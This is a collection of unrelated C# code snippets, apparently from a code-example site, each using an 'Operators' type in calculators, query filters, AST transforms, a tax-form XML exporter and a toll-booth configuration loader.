示例#1
0
        protected void Page_Load(object sender, EventArgs e)
        {
            if (!IsPostBack)
            {
                ViewState.Clear();
                this.result = 0;
                ViewState.Add("result", this.result);
                this.currentOperator = Operators.Plus;
                ViewState.Add("operator", this.currentOperator);
                ViewState.Add("currentNumber", string.Empty);
            }
            else
            {
                this.result = (decimal)ViewState["result"];
                if (ViewState["operator"] != null)
                {
                    this.currentOperator = (Operators)ViewState["operator"];
                }

                if (ViewState["currentNumber"] != null)
                {
                    this.currentNumber = (string)ViewState["currentNumber"];
                }

            }
        }
示例#2
0
 public Condition(bool not, string key, Operators opt,  params object[] values)
 {
     Key = key;
     Operate = opt;
     Values = values;
     Not = not;
 }
示例#3
0
 internal override MSAst.Expression TransformSet(AstGenerator ag, SourceSpan span, MSAst.Expression right, Operators op) {
     if (op == Operators.None) {
         return ag.AddDebugInfoAndVoid(
             Binders.Set(
                 ag.BinderState,
                 typeof(object),
                 SymbolTable.IdToString(_name),
                 ag.Transform(_target),
                 right
             ),
             span
         );
     } else {
         MSAst.ParameterExpression temp = ag.GetTemporary("inplace");
         return ag.AddDebugInfo(
             Ast.Block(
                 Ast.Assign(temp, ag.Transform(_target)),
                 SetMemberOperator(ag, right, op, temp),
                 Ast.Empty()
             ),
             Span.Start,
             span.End
         );
     }
 }
示例#4
0
 public FloatCondition(string conditionVariable, Operators conditionOperator, float baseValue, bool absolute = false)
 {
     this.conditionVariable = conditionVariable;
       this.conditionOperator = conditionOperator;
       this.baseValue = baseValue;
       this.absolute = absolute;
 }
 public Expression(Expression ex, Expression e2, Operators op)
 {
     Ex1 = ex;
     Ex2 = e2;
     Oper = op;
     IsValue = false;
 }
示例#6
0
        private static async void QuerySpecific(string field, object value, Operators op)
        {
            Console.WriteLine("Finding all the entries where {0} equals {1}...", field, value);
            var collection = database.GetCollection<BsonDocument>(collectionName);
            var builder = Builders<BsonDocument>.Filter;
            FilterDefinition<BsonDocument> filter = null;
            switch (op)
            {
                case Operators.Equals:
                default:
                    filter = builder.Eq(field, value);
                    break;
                case Operators.LessThan:
                    filter = builder.Lt(field, value);
                    break;
                case Operators.GreaterThan:
                    filter = builder.Gt(field, value);
                    break;
                case Operators.LessThanEqual:
                    filter = builder.Lte(field, value);
                    break;
                case Operators.GreaterThanEqual:
                    filter = builder.Gte(field, value);
                    break;
            }

            var result = await collection.Find(filter).ToListAsync();
            Console.WriteLine("There are {0} entries.", result.Count);
        }
示例#7
0
        internal override MSAst.Expression TransformSet(AstGenerator ag, SourceSpan span, MSAst.Expression right, Operators op) {
            MSAst.Expression variable = _reference.Variable;
            MSAst.Expression assignment;

            Type vt = variable != null ? variable.Type : typeof(object);

            if (op != Operators.None) {
                right = Binders.Operation(
                    ag.BinderState,
                    vt,
                    StandardOperators.FromOperator(op),
                    Transform(ag, vt),
                    right
                );
            }

            if (variable != null) {
                assignment = AstUtils.Assign(variable, AstGenerator.ConvertIfNeeded(right, variable.Type));
            } else {
                assignment = AstUtils.Assign(_name, right);
            }

            SourceSpan aspan = span.IsValid ? new SourceSpan(Span.Start, span.End) : SourceSpan.None;
            return ag.AddDebugInfoAndVoid(assignment, aspan);
        }
示例#8
0
 public Rule(Operators operand, string to, string operandOne, string operandTwo)
 {
     this.Operation = operand;
     this.To = to;
     this.First = operandOne;
     this.Second = operandTwo;
 }
示例#9
0
 public void DoOperation(Operators @operator, int operand)
 {
     Executor command = new Executor(_calculator, @operator, operand);
     command.Execute();
     _index = _entries.Count;
     _index++;
     _entries.Add(command);
 }
示例#10
0
 public static string FromOperator(Operators op) {
     switch(op) {
         case Operators.Equals: return "Equal";
         case Operators.NotEquals: return "NotEqual";
         default:
             return op.ToString();
     }
 }
示例#11
0
        internal override MSAst.Expression TransformSet(AstGenerator ag, SourceSpan span, MSAst.Expression right, Operators op) {
            if (Items.Length == 0) {
                ag.AddError("can't assign to ()", Span);
                return null;
            }

            return base.TransformSet(ag, span, right, op);
        }
示例#12
0
文件: Executor.cs 项目: baudi/sandbox
 private Operators GetOpposite(Operators @operator)
 {
     switch (@operator)
     {
         case Operators.Add: return Operators.Rest;
         case Operators.Rest: return Operators.Add;
         case Operators.Mult: return Operators.Div;
         default: return Operators.Mult;
     }
 }
示例#13
0
 private char GetSymbol(Operators @operator)
 {
     switch (@operator)
     {
         case Operators.Add: return '+';
         case Operators.Rest: return '-';
         case Operators.Mult: return '*';
         default: return '/';
     }
 }
示例#14
0
 private void BuildConditionFromXML(XmlElement xmlElement)
 {
     try
     {
         this.FieldName = xmlElement.GetAttribute("Field");
         this.comparisionOperator = (Operators)Enum.Parse(typeof(Operators), xmlElement.GetAttribute("Operator"));
         this.strValue = xmlElement.GetAttribute("Value");
         this.comparisionType = (ConditionComparisionType)Enum.Parse(typeof(ConditionComparisionType), xmlElement.GetAttribute("ComparisionType"));
     }
     catch { }
 }
示例#15
0
        internal FilterExpression(object left, object right, Operators op)
        {
            Left = left as FilterExpression;
            Right = right as FilterExpression;
            LeftColumn = left as Column;
            RightColumn = right as Column;
            Value = Right == null && ReferenceEquals(RightColumn, null) ? right : null;
            Operator = op;

            if (AndOr && (Left == null || Right == null)) // should never happen but just in case
                throw new Exception("All/Or expressions only act on two other FilterExpressions");
        }
示例#16
0
    public JointConstraint( KinectWrapper.Joints joint_a,
							KinectWrapper.Joints joint_b,
							Relations relation,
							Operators operation,
							Vector3 val )
    {
        this.joint_a = joint_a;
        this.joint_b = joint_b;
        this.relation = relation;
        this.operation = operation;
        this.val = val;
    }
示例#17
0
 public static bool IsAssigmentOperator(Operators Operator)
 {
     switch (Operator)
     {
         case Operators.AssignmentAddition: 
         case Operators.AssignmentSubtraction: 
         case Operators.AssignmentMultiplication: 
         case Operators.AssignmentDivision: 
         case Operators.Assignment: return true;          
     }
     return false;
 }
示例#18
0
    public JointConstraint( KinectSkeleton ks,
							KinectSkeleton.Joints joint_a,
							KinectSkeleton.Joints joint_b,
							Relations relation,
							Operators operation,
							Vector3 val )
    {
        this.ks = ks;
        this.joint_a = joint_a;
        this.joint_b = joint_b;
        this.relation = relation;
        this.operation = operation;
        this.val = val;
    }
 static int _GetNumberOfChildrenFor(Operators symbol)
 {
     switch(symbol)
     {
         case Operators.Multiply:
         case Operators.Divide:
         case Operators.Plus:
         case Operators.Minus:
             return 2;
         case Operators.Sqrt:
             return 1;
         default:
             return 0;
     }
 }
示例#20
0
 public static int Calcuration(Operators o, int left, int right)
 {
     switch (o)
     {
         case Operators.Plus:
             return left + right;
         case Operators.Minus:
             return left - right;
         case Operators.Multiply:
             return left * right;
         case Operators.Divide:
             return left / right;
         default:
             return 0;
     }
 }
示例#21
0
 public void DoOperation(Operators @operator, int operand)
 {
     switch (@operator)
     {
         case Operators.Add: _total += operand;
             break;
         case Operators.Rest: _total -= operand;
             break;
         case Operators.Mult: _total *= operand;
             break;
         case Operators.Div: _total /= operand;
             break;
     }
     Console.WriteLine("Total: {0,3} \t{1} {2}",
         _total, GetSymbol(@operator), operand);
 }
示例#22
0
 private MSAst.Expression SetMemberOperator(AstGenerator ag, MSAst.Expression right, Operators op, MSAst.ParameterExpression temp) {
     return Binders.Set(
         ag.BinderState,
         typeof(object),
         SymbolTable.IdToString(_name),
         temp,
         Binders.Operation(
             ag.BinderState,
             typeof(object),
             StandardOperators.FromOperator(op),
             Binders.Get(
                 ag.BinderState,
                 typeof(object),
                 SymbolTable.IdToString(_name),
                 temp
             ),
             right
         )
     );
 }
示例#23
0
		public Variable Evaluate(Context sender, Variable left, Operators op, Variable right)
		{
			var log = sender.Root.Log;
			bool validating = sender.Root.Valid == BlockBase.Validation.Running;
			object l = left.Value, r = right.Value;
			switch (op)
			{
				case Operators.Add:
					if ((l is Date && r is TimeFrame))
					{
						try
						{ return new Variable((Date)l + (TimeFrame)r); }
						catch (ArgumentOutOfRangeException ex)
						{ log.Error(ex.Message); }
					}
					return null;
				case Operators.Subtract:
					if ((l is Date && r is Date))
						return new Variable((Date)l - (Date)r);
					if ((l is Date && r is TimeFrame))
					{
						try
						{ return new Variable((Date)l - (TimeFrame)r); }
						catch (ArgumentOutOfRangeException ex)
						{ log.Error(ex.Message); }
					}
					return null;

				case Operators.More:
					if (l is Date && r is Date)
						return new Variable((Date)l > (Date)r);
					return null;
				case Operators.Less:
					if (l is Date && r is Date)
						return new Variable((Date)l < (Date)r);
					return null;
			}
			return null;
		}
示例#24
0
        //所有双目操作符按钮
        private void OperatorButton_Click(object sender, RoutedEventArgs e)
        {
            if (FirstNumber.NumString.ToString() == "")
            {
                return;
            }
            IsEqualPress = false;
            IsFirstNum = false;
            if(FirstNumber.NumString.ToString().IndexOf("0",FirstNumber.NumString.ToString().Length-1)!=-1)
            {
                FirstNumber.NumString.Clear();
                FirstNumber.NumString.Append("0");
            }
            FirstNumber.Num = double.Parse(FirstNumber.NumString.ToString(),CultureInfo.InvariantCulture);

            Button button = sender as Button;

            switch (button.Content.ToString())
            {
                case "+":
                    opera = Operators.Add;
                    break;
                case "-":
                    opera = Operators.Sub;
                    break;
                case "×":
                    opera = Operators.Multi;
                    break;
                case "÷":
                    opera = Operators.Div;
                    break;
                case "%":
                    opera = Operators.Percent;
                    break;
                default:
                    opera = Operators.None;
                    break;
            }
        }
        public FilteredByMeasureSet(string name, Level lev, Member measure, Operators op, string value)
            : base(name, lev.Hierarchy)
        {
            if (lev.Hierarchy.UniqueName == "[Measures]")
                throw new Exception("Cannot create on measures hierarchy");

            _operator = op;
            value = (value==null ? "" : value.Trim());
            if (value.Length > 50)
                value = value.Substring(0, 50);
            decimal decVal=0;
            if (value.ToUpper() == "NULL")
                _value = "NULL";
            else if (decimal.TryParse(value.Replace(",", "."), System.Globalization.NumberStyles.AllowDecimalPoint, System.Globalization.NumberFormatInfo.InvariantInfo, out decVal))
                _value = decVal.ToString(System.Globalization.NumberFormatInfo.InvariantInfo);
            else
                _value="\"" + value + "\"";

            this.MdxParameters.Add(lev, true);
            this.MdxParameters.Add(measure, false);

            Initialize(name);
        }
示例#26
0
文件: Program.cs 项目: RIATEAM/MYSTIC
        public static void Main(string[] args)
        {
            IUnityContainer container = new UnityContainer();
            UnityConfigurationSection section = (UnityConfigurationSection)ConfigurationManager.GetSection("unity");
            section.Containers.Default.Configure(container);
            CMSCustomer customer = container.Resolve<CMSCustomer>();

            Logs.Start("");
            string sql = "DATE_PUBLISH = '" + String.Format("{0:dd-mm-yyyy}", DateTime.Now) + "' and PUBLISH_ACTIVE=1";
            string[] fields = new string[] { "Date_publish", "Publish_active" };
            object[] ids = new object[] { String.Format("{0:dd-MM-yyyy}", DateTime.Now), 1 };
            Operators[] ops = new Operators[] { Operators.Eq, Operators.Eq };
            List<Content> contents = HibernateHelper.SelectCommand<Content>(fields, ids, ops);
            if (contents.Count > 0) {
                for (int i = 0; i < contents.Count; i++) {

                    Logs.WriteLine(string.Format("Inizio pubblicazione content {0} (ID={1}) (TYPE={2})",
                        contents[i].Title, contents[i].Contentid, contents[i].Repository));

                    Pubblica(contents[i], customer);
                }
            }
            Logs.Dispose();
        }
示例#27
0
        public void id2011Command(object sender, EventArgs e)
        {
            dsIdObrazac obrazac = new dsIdObrazac();
            sp_id_detaljiDataAdapter   adapter2 = new sp_id_detaljiDataAdapter();
            sp_id_zaglavljeDataAdapter adapter3 = new sp_id_zaglavljeDataAdapter();
            sp_id_detaljiDataSet       dataSet  = new sp_id_detaljiDataSet();
            sp_id_zaglavljeDataSet     set3     = new sp_id_zaglavljeDataSet();
            SqlConnection connection            = new SqlConnection();
            string        str2 = null;
            string        str  = null;

            connection.ConnectionString = Mipsed7.Core.ApplicationDatabaseInformation.ConnectionString;
            frmPregledMjeseciGodina godina = new frmPregledMjeseciGodina();

            godina.ShowDialog();
            if (godina.DialogResult != DialogResult.Cancel)
            {
                decimal num  = 0;
                decimal num2 = 0;
                sPorezIprirezPremaOpciniGraduObracunatiPorez[] porezArray = null;
                decimal num3 = 0;
                if ((godina.OdabraniGodinaIsplate != null) & (godina.OdabraniMjesecIsplate != null))
                {
                    set3.Clear();
                    dataSet.Clear();
                    str2 = Conversions.ToString(godina.OdabraniMjesecIsplate);
                    str  = Conversions.ToString(godina.OdabraniGodinaIsplate);
                    adapter3.Fill(set3, null, Conversions.ToString(godina.OdabraniMjesecIsplate), Conversions.ToString(godina.OdabraniGodinaIsplate), godina.Volonteri);
                    adapter2.Fill(dataSet, null, Conversions.ToString(godina.OdabraniMjesecIsplate), Conversions.ToString(godina.OdabraniGodinaIsplate), godina.Volonteri);
                    obrazac.Clear();
                    obrazac.Merge(dataSet.sp_id_detalji);
                    obrazac.Merge(set3.sp_id_zaglavlje);
                }
                KORISNIKDataAdapter adapter = new KORISNIKDataAdapter();
                KORISNIKDataSet     set2    = new KORISNIKDataSet();
                adapter.Fill(set2);

                sObrazacID    o           = new sObrazacID();
                sIDmetapodaci dmetapodaci = new sIDmetapodaci();

                dmetapodaci.Naslov       = new sNaslovTemeljni();
                dmetapodaci.Naslov.Value = "ID obrazac";
                dmetapodaci.Naslov.dc    = "http://purl.org/dc/elements/1.1/title";

                dmetapodaci.Autor       = new sAutorTemeljni();
                dmetapodaci.Autor.Value = "VugerGRAD d.o.o.";
                dmetapodaci.Autor.dc    = "http://purl.org/dc/elements/1.1/creator";

                dmetapodaci.Datum       = new sDatumTemeljni();
                dmetapodaci.Datum.Value = DateAndTime.Now.ToString("s");
                dmetapodaci.Datum.dc    = "http://purl.org/dc/elements/1.1/date";

                dmetapodaci.Format       = new sFormatTemeljni();
                dmetapodaci.Format.Value = PlacaExe.tFormat.textxml;
                dmetapodaci.Format.dc    = "http://purl.org/dc/elements/1.1/format";

                dmetapodaci.Jezik       = new sJezikTemeljni();
                dmetapodaci.Jezik.Value = PlacaExe.tJezik.hrHR;
                dmetapodaci.Jezik.dc    = "http://purl.org/dc/elements/1.1/language";

                dmetapodaci.Identifikator       = new sIdentifikatorTemeljni();
                dmetapodaci.Identifikator.Value = Guid.NewGuid().ToString(); //"dc0e2097-c43b-41f3-a095-dcf327268fad";
                dmetapodaci.Identifikator.dc    = "http://purl.org/dc/elements/1.1/identifier";

                dmetapodaci.Uskladjenost       = new sUskladjenost();
                dmetapodaci.Uskladjenost.Value = "ObrazacID-v3-0";
                dmetapodaci.Uskladjenost.dc    = "http://purl.org/dc/terms/conformsTo";

                dmetapodaci.Tip       = new sTipTemeljni();
                dmetapodaci.Tip.Value = PlacaExe.tTip.Elektroničkiobrazac;
                dmetapodaci.Tip.dc    = "http://purl.org/dc/elements/1.1/type";

                dmetapodaci.Adresant       = new sAdresantTemeljni();
                dmetapodaci.Adresant.Value = "Ministarstvo Financija, Porezna uprava, Zagreb";


                o.verzijaSheme = "3.0";
                o.Metapodaci   = dmetapodaci;
                sZaglavlje zaglavlje = new sZaglavlje();
                sZaglavljePodnositeljZahtjeva zahtjeva = new sZaglavljePodnositeljZahtjeva();
                sAdresa    adresa    = new sAdresa();
                sRazdoblje razdoblje = new sRazdoblje();

                zahtjeva.Naziv = Conversions.ToString(set2.KORISNIK[0]["KORISNIK1NAZIV"]);
                zahtjeva.OIB   = Conversions.ToString(set2.KORISNIK[0]["KORISNIKOIB"]);

                try
                {
                    adresa.Ulica = set2.KORISNIK[0]["KORISNIK1ADRESA"].ToString().Replace(DB.IzvuciSamoBrojke(set2.KORISNIK[0]["KORISNIK1ADRESA"].ToString(), false), "");
                }
                catch (Exception)
                {
                    throw new Exception("Problem u izvlačenju brojčanog kućnog broja iz ulice!");
                }

                adresa.Broj     = DB.IzvuciSamoBrojke(set2.KORISNIK[0]["KORISNIK1ADRESA"].ToString(), false);
                adresa.Mjesto   = Conversions.ToString(set2.KORISNIK[0]["KORISNIK1MJESTO"]);
                zahtjeva.Adresa = adresa;
                zaglavlje.PodnositeljZahtjeva = zahtjeva;
                zaglavlje.PodrucniUred        = Conversions.ToString(set2.KORISNIK[0]["NADLEZNAPU"]);
                if (Operators.ConditionalCompareObjectEqual(obrazac.sp_id_zaglavlje[0]["identifikator"], 1, false))
                {
                    zaglavlje.Identifikator = sIdentifikator.Item1;
                }
                if (Operators.ConditionalCompareObjectEqual(obrazac.sp_id_zaglavlje[0]["identifikator"], 11, false))
                {
                    zaglavlje.Identifikator = sIdentifikator.Item12;
                }
                zaglavlje.Ispostava = Conversions.ToString(set2.KORISNIK[0]["BROJCANAOZNAKAPU"]);
                razdoblje.DatumOd   = DateAndTime.DateSerial(Conversions.ToInteger(str), Conversions.ToInteger(str2), 1);
                razdoblje.DatumDo   = DateAndTime.DateSerial(Conversions.ToInteger(str), Conversions.ToInteger(str2), DateTime.DaysInMonth(Conversions.ToInteger(str), Conversions.ToInteger(str2)));
                zaglavlje.Razdoblje = razdoblje;
                o.Zaglavlje         = zaglavlje;
                sIsplaceniPrimiciIObracunPoreza poreza = new sIsplaceniPrimiciIObracunPoreza();
                sTijelo tijelo = new sTijelo();
                poreza.Podatak100 = decimal.Round(Conversions.ToDecimal(obrazac.sp_id_zaglavlje[0]["REDAK_II_1"]), 2);
                poreza.Podatak200 = decimal.Round(Conversions.ToDecimal(obrazac.sp_id_zaglavlje[0]["REDAK_II_2"]), 2);
                poreza.Podatak210 = decimal.Round(Conversions.ToDecimal(obrazac.sp_id_zaglavlje[0]["REDAK_II_2_1_1"]), 2);
                poreza.Podatak220 = decimal.Round(Conversions.ToDecimal(obrazac.sp_id_zaglavlje[0]["REDAK_II_2_1_2"]), 2);
                poreza.Podatak230 = decimal.Round(Conversions.ToDecimal(obrazac.sp_id_zaglavlje[0]["REDAK_II_2_1_3"]), 2);
                poreza.Podatak300 = decimal.Round(Conversions.ToDecimal(obrazac.sp_id_zaglavlje[0]["REDAK_II_3"]), 2);
                poreza.Podatak400 = decimal.Round(Conversions.ToDecimal(obrazac.sp_id_zaglavlje[0]["REDAK_II_4"]), 2);
                poreza.Podatak500 = decimal.Round(Conversions.ToDecimal(obrazac.sp_id_zaglavlje[0]["REDAK_II_5"]), 2);
                poreza.Podatak600 = decimal.Round(Conversions.ToDecimal(obrazac.sp_id_zaglavlje[0]["REDAK_II_6"]), 2);
                poreza.Podatak610 = decimal.Round(Conversions.ToDecimal(obrazac.sp_id_zaglavlje[0]["REDAK_II_6_1"]), 2);
                poreza.Podatak620 = decimal.Round(Conversions.ToDecimal(obrazac.sp_id_zaglavlje[0]["REDAK_II_6_2"]), 2);
                poreza.Podatak700 = decimal.Round(Conversions.ToDecimal(obrazac.sp_id_zaglavlje[0]["REDAK_II_7"]), 2);
                poreza.Podatak800 = Conversions.ToString(obrazac.sp_id_zaglavlje[0]["REDAK_II_8"]);
                sDoprinosiUkupno ukupno = new sDoprinosiUkupno {
                    Podatak110 = decimal.Round(Conversions.ToDecimal(obrazac.sp_id_zaglavlje[0]["REDAK_III_1_1"]), 2),
                    Podatak120 = decimal.Round(Conversions.ToDecimal(obrazac.sp_id_zaglavlje[0]["REDAK_III_1_2"]), 2),
                    Podatak210 = decimal.Round(Conversions.ToDecimal(obrazac.sp_id_zaglavlje[0]["REDAK_III_2_1"]), 2),
                    Podatak220 = decimal.Round(Conversions.ToDecimal(obrazac.sp_id_zaglavlje[0]["REDAK_III_2_2"]), 2),
                    Podatak310 = decimal.Round(Conversions.ToDecimal(obrazac.sp_id_zaglavlje[0]["REDAK_III_3_1"]), 2),
                    Podatak320 = decimal.Round(Conversions.ToDecimal(obrazac.sp_id_zaglavlje[0]["REDAK_III_3_2"]), 2),
                    Podatak330 = decimal.Round(Conversions.ToDecimal(obrazac.sp_id_zaglavlje[0]["REDAK_III_3_3"]), 2),
                    Podatak410 = decimal.Round(Conversions.ToDecimal(obrazac.sp_id_zaglavlje[0]["REDAK_III_4_1"]), 2),
                    Podatak420 = decimal.Round(Conversions.ToDecimal(obrazac.sp_id_zaglavlje[0]["REDAK_III_4_2"]), 2),
                    Podatak500 = Conversions.ToString(obrazac.sp_id_zaglavlje[0]["REDAK_III_5"])
                };
                porezArray = (sPorezIprirezPremaOpciniGraduObracunatiPorez[])Utils.CopyArray((Array)porezArray, new sPorezIprirezPremaOpciniGraduObracunatiPorez[obrazac.sp_id_detalji.Rows.Count + 1]);
                int num5 = obrazac.sp_id_detalji.Rows.Count - 1;
                for (int i = 0; i <= num5; i++)
                {
                    porezArray[i] = new sPorezIprirezPremaOpciniGraduObracunatiPorez();
                    sPorezIprirezPremaOpciniGraduObracunatiPorez porez = porezArray[i];
                    porez.Poreza  = Conversions.ToDecimal(obrazac.sp_id_detalji.Rows[i]["obracunaniporez"]);
                    num           = Conversions.ToDecimal(Operators.AddObject(num, obrazac.sp_id_detalji.Rows[i]["obracunaniporez"]));
                    porez.Prireza = Conversions.ToDecimal(obrazac.sp_id_detalji.Rows[i]["obracunaniprirez"]);
                    num2          = Conversions.ToDecimal(Operators.AddObject(num2, obrazac.sp_id_detalji.Rows[i]["obracunaniprirez"]));
                    porez.Ukupno  = Conversions.ToDecimal(obrazac.sp_id_detalji.Rows[i]["obracunanoukupno"]);
                    num3          = Conversions.ToDecimal(Operators.AddObject(num3, obrazac.sp_id_detalji.Rows[i]["obracunanoukupno"]));
                    porez.Sifra   = Conversions.ToString(obrazac.sp_id_detalji.Rows[i]["idopcine"]);
                    porez         = null;
                }
                sUkupno ukupno2 = new sUkupno {
                    Poreza  = num,
                    Prireza = num2,
                    Ukupno  = num3
                };
                tijelo.IsplaceniPrimiciIObracunPoreza = poreza;
                tijelo.DoprinosiUkupno  = ukupno;
                tijelo.ObracunatiPorezi = porezArray;
                tijelo.Ukupno           = ukupno2;
                o.Tijelo = tijelo;
                try
                {
                    SaveFileDialog dialog2 = new SaveFileDialog {
                        InitialDirectory = Conversions.ToString(0),
                        FileName         = "ID-" + str + "-" + str2 + ".xml",
                        RestoreDirectory = true
                    };
                    SaveFileDialog dialog = dialog2;
                    if (dialog.ShowDialog() == DialogResult.OK)
                    {
                        using (TextWriter writer = new StreamWriter(dialog.FileName))
                        {
                            XmlSerializerNamespaces namespaces = new XmlSerializerNamespaces();
                            namespaces.Add("", "http://e-porezna.porezna-uprava.hr/sheme/zahtjevi/ObrazacID/v3-0");
                            new XmlSerializer(typeof(sObrazacID), "http://e-porezna.porezna-uprava.hr/sheme/zahtjevi/ObrazacID/v3-0").Serialize(writer, o, namespaces);

                            writer.Close();
                        }
                        Interaction.MsgBox("Datoteka uspješno  spremljena u: " + dialog.FileName, MsgBoxStyle.OkOnly, null);
                    }
                }
                catch (System.Exception exception1)
                {
                    throw exception1;
                }
            }
        }
示例#28
0
 public void AddOperator(IOperator @operator)
 {
     Operators.Add(@operator.Name, @operator);
 }
示例#29
0
 private bool method_12(GClass6.GClass13 gclass13_0)
 {
     return Operators.CompareString(gclass13_0.method_0(), bot_0.string_0, false) == 0;
 }
示例#30
0
 private void frmConfig_Load(object sender, EventArgs e)
 {
     this.Config = new ProcessXML("TollcabinConfig.xml");
     try
     {
         this.LocalDatabase = this.Config.XmlNodeValue("Catalog", "Database", "");
         this.LocalUserName = this.Config.XmlNodeValue("Login", "Database", "");
         this.LocalPassWord = this.Config.XmlNodeValue("Password", "Database", "");
         Encryption.Encryption.Decode("ITVVA", ref this.LocalUserName, this.LocalUserName);
         Encryption.Encryption.Decode("ITVVA", ref this.LocalPassWord, this.LocalPassWord);
         this.IPMayGiamSat          = this.Config.XmlNodeValue("MayGiamSat", "Connect", "");
         this.IPMayNhanDang         = this.Config.XmlNodeValue("NhanDangBienSo", "Connect", "");
         this.LocalImagesPath       = this.Config.XmlNodeValue("LocalImagesPath", "Connect", "");
         this.ServerImagesPath      = this.Config.XmlNodeValue("ServerImagesPath", "Connect", "");
         this.ServerImagesPathBS    = this.Config.XmlNodeValue("ServerImagesPathBS", "Connect", "");
         this.PortDuLieuChinh       = Conversions.ToString(int.Parse(this.Config.XmlNodeValue("PortDuLieuChinh", "Connect", "")));
         this.PortDuLieuCu          = Conversions.ToString(int.Parse(this.Config.XmlNodeValue("PortDuLieuCu", "Connect", "")));
         this.PortTroGiup           = Conversions.ToString(int.Parse(this.Config.XmlNodeValue("PortTroGiup", "Connect", "")));
         this.PortMayNhanDangBienSo = Conversions.ToString(int.Parse(this.Config.XmlNodeValue("PortMayNhanDangBienSo", "Connect", "")));
         this.Cabin          = Conversions.ToString(int.Parse(this.Config.XmlNodeValue("CabinID", "General", "")));
         this.IdTram         = int.Parse(this.Config.XmlNodeValue("TramId", "General", ""));
         this.Status         = int.Parse(this.Config.XmlNodeValue("Status", "General", ""));
         this.Instance       = this.Config.XmlNodeValue("Instance", "Database", "");
         this.ServerDatabase = this.Config.XmlNodeValue("DatabaseServer", "SQLReplication", "");
         this.ServerName     = this.Config.XmlNodeValue("Server", "SQLReplication", "");
         this.ServerSqlUser  = this.Config.XmlNodeValue("UserServer", "SQLReplication", "");
         Encryption.Encryption.Decode("ITVVA", ref this.ServerSqlUser, this.ServerSqlUser);
         this.ServerSqlPassword = this.Config.XmlNodeValue("PasswordServer", "SQLReplication", "");
         Encryption.Encryption.Decode("ITVVA", ref this.ServerSqlPassword, this.ServerSqlPassword);
         this.ServerPublication = this.Config.XmlNodeValue("Publication", "SQLReplication", "");
         this.ComPortBangDien   = this.Config.XmlNodeValue("ComPortBangDien", "NewInfo", "");
         this.ComPortBanPhim    = this.Config.XmlNodeValue("ComPortBanPhim", "NewInfo", "");
         this.ComPortDieuKhien  = this.Config.XmlNodeValue("ComPortDieuKhien", "NewInfo", "");
         this.ComPortDauDoc     = this.Config.XmlNodeValue("ComPortDauDoc", "NewInfo", "");
         this.DVRchanel         = Conversions.ToInteger(this.Config.XmlNodeValue("DVRChanel", "NewInfo", ""));
         this.IPDauGhiHinh      = this.Config.XmlNodeValue("videoCard", "NewInfo", "");
         this.DauDocMaVach      = Conversions.ToInteger(this.Config.XmlNodeValue("TenDauDoc", "NewInfo", "0"));
         if (Operators.CompareString(this.Config.XmlNodeValue("TinhNangThoai", "NewInfo", "0"), "0", false) != 0)
         {
             this.cbTinhNangThoai.Checked = true;
         }
         else
         {
             this.cbTinhNangThoai.Checked = false;
         }
         this.cbbbangDien.Text              = this.ComPortBangDien;
         this.cbbComportNameKeyboard.Text   = this.ComPortBanPhim;
         this.cbbComportNameController.Text = this.ComPortDieuKhien;
         this.cbbComportNameTicket.Text     = this.ComPortDauDoc;
         this.tbServerName.Text             = this.ServerName;
         this.tbServerSqlUser.Text          = this.ServerSqlUser;
         this.tbServerSqlPassword.Text      = this.ServerSqlPassword;
         this.tbServerDatabaseName.Text     = this.ServerDatabase;
         this.tbPublicationName.Text        = this.ServerPublication;
         this.tbLocalDatabase.Text          = this.LocalDatabase;
         this.tbLocalSqlUser.Text           = this.LocalUserName;
         this.tbLocalSqlPassword.Text       = this.LocalPassWord;
         this.tbComputerWatch.Text          = this.IPMayGiamSat;
         this.tbComputerRecognize.Text      = this.IPMayNhanDang;
         this.tbServerFolderImage.Text      = this.ServerImagesPath;
         this.tbServerFolderPlateImage.Text = this.ServerImagesPathBS;
         this.tbPortMain.Text               = this.PortDuLieuChinh;
         this.tbPortSub.Text                = this.PortDuLieuCu;
         this.tbPortRecognize.Text          = this.PortMayNhanDangBienSo;
         this.tbLane.Text                   = this.Cabin;
         this.cbbCodeTram.Text              = Conversions.ToString(this.IdTram);
         this.tbLocalInstance.Text          = this.Instance;
         this.cbbPropertyLane.SelectedIndex = this.Status;
         this.tbLocalFolderlImage.Text      = this.LocalImagesPath;
         this.cbbDauDoc.SelectedIndex       = this.DauDocMaVach;
         this.tbIpDauGhi.Text               = this.IPDauGhiHinh;
         if (this.DVRchanel >= 0)
         {
             this.cb0.Checked  = (((long)this.DVRchanel & 1L) != 0L);
             this.cb1.Checked  = (((long)this.DVRchanel & 2L) != 0L);
             this.cb2.Checked  = (((long)this.DVRchanel & 4L) != 0L);
             this.cb3.Checked  = (((long)this.DVRchanel & 8L) != 0L);
             this.cb4.Checked  = (((long)this.DVRchanel & 16L) != 0L);
             this.cb5.Checked  = (((long)this.DVRchanel & 32L) != 0L);
             this.cb6.Checked  = (((long)this.DVRchanel & 64L) != 0L);
             this.cb7.Checked  = (((long)this.DVRchanel & 128L) != 0L);
             this.cb8.Checked  = (((long)this.DVRchanel & 256L) != 0L);
             this.cb9.Checked  = (((long)this.DVRchanel & 512L) != 0L);
             this.cb10.Checked = (((long)this.DVRchanel & 1024L) != 0L);
             this.cb11.Checked = (((long)this.DVRchanel & 2048L) != 0L);
             this.cb12.Checked = (((long)this.DVRchanel & 4096L) != 0L);
             this.cb13.Checked = (((long)this.DVRchanel & 8192L) != 0L);
             this.cb14.Checked = (((long)this.DVRchanel & 16384L) != 0L);
             this.cb15.Checked = (((long)this.DVRchanel & 32768L) != 0L);
         }
     }
     catch (Exception expr_7F8)
     {
         ProjectData.SetProjectError(expr_7F8);
         MessageBox.Show("Có lỗi trong quá trình đọc thông tin cấu hình", "Thông báo.", MessageBoxButtons.OK, MessageBoxIcon.Hand);
         ProjectData.ClearProjectError();
     }
 }
示例#31
0
 public Operator OperatorByName(string name)
 {
     return(Operators.Where(o => o.Name == name).FirstOrDefault());
 }
示例#32
0
        internal override object Evaluate(object leftValue, object rightValue)
        {
            switch (operation)
            {
            case Operations.Xor:
                return(Convert.ObjectToBoolean(leftValue) ^ Convert.ObjectToBoolean(rightValue));

            case Operations.Or:
                return(Convert.ObjectToBoolean(leftValue) || Convert.ObjectToBoolean(rightValue));

            case Operations.And:
                return(Convert.ObjectToBoolean(leftValue) && Convert.ObjectToBoolean(rightValue));

            case Operations.BitOr:
                return(Operators.BitOperation(leftValue, rightValue, Operators.BitOp.Or));

            case Operations.BitXor:
                return(Operators.BitOperation(leftValue, rightValue, Operators.BitOp.Xor));

            case Operations.BitAnd:
                return(Operators.BitOperation(leftValue, rightValue, Operators.BitOp.And));

            case Operations.Equal:
